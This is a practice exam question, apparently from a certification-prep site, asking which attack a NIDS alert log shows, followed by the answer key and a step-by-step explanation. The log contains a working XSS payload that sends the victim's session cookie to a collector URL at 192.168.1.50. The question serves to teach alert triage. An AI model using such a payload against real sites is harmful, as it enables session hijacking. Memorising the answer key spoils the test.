Examkin

Question

Difficulty: MediumNetwork Security Monitoring and Alerting

A network security analyst reviews a SIEM alert containing the following NIDS log entry captured from an internal network monitoring sensor:

[2026-07-27 11:42:19 UTC] NIDS_ALERT
Sensor: NIDS-VPC-EAST-01
Protocol: HTTP/1.1
Src_IP: 10.10.4.88:51204
Dst_IP: 172.16.50.12:80
Request: GET /portal/search.php?q=<script>document.location='http://192.168.1.50/collector.php?cookie='+document.cookie;</script> HTTP/1.1
Action: Flagged (Alert Only)

Which of the following best describes the type of attack captured in this log snippet and its intended objective?

  1. The alert indicates a Cross-Site Scripting (XSS) attack attempting to execute malicious script code in the victim's browser to exfiltrate session cookies.Answer
  2. B
    The alert indicates a SQL injection attack attempting to bypass database authentication and extract backend relational data.
  3. C
    The threat should be remediated primarily by configuring a layer-3 network firewall rule to prevent host-based kernel memory buffer overflows.
  4. D
    The log entry demonstrates a failure of an active inline honeypot system to automatically drop packet payloads before reaching the web server.

Answer

The alert indicates a Cross-Site Scripting (XSS) attack attempting to execute malicious script code in the victim's browser to exfiltrate session cookies.
The correct answer identifies the HTTP parameter containing `<script>` tags as a Cross-Site Scripting (XSS) attempt. The payload attempts to read the victim browser's `document.cookie` object and transmit it to an external IP address, which is a classic indicator of an XSS session hijacking attack.

Step-by-Step Solution

1
Analyze the HTTP GET request string in the NIDS alert log snippet
Identified the payload `<script>document.location='http://192.168.1.50/collector.php?cookie='+document.cookie;</script>` passed into parameter `q`.
Determining the payload syntax reveals the vulnerability targeted by the attacker.
2
Differentiate between client-side and server-side application payload behaviors
The presence of JavaScript commands referencing browser DOM elements (`document.cookie`, `document.location`) confirms client-side execution (XSS) rather than database manipulation (SQLi).
XSS exploits trust that a user's browser has in a web application to steal sensitive tokens or session state.
3
Evaluate the analyst's interpretation against standard security monitoring principles
Confirm that the log captures an unmitigated XSS attempt flagged by a detective NIDS sensor.
Accurate alert classification allows analysts to trigger appropriate incident response playbooks, such as enforcing Web Application Firewall (WAF) rules or input sanitization.

Key Concept

Identifying Cross-Site Scripting (XSS) payloads in NIDS/SIEM log telemetry
Estimated Time:1m 30s
Rate this question

Topics

Network Security Monitoring and Alerting

More questions from this topic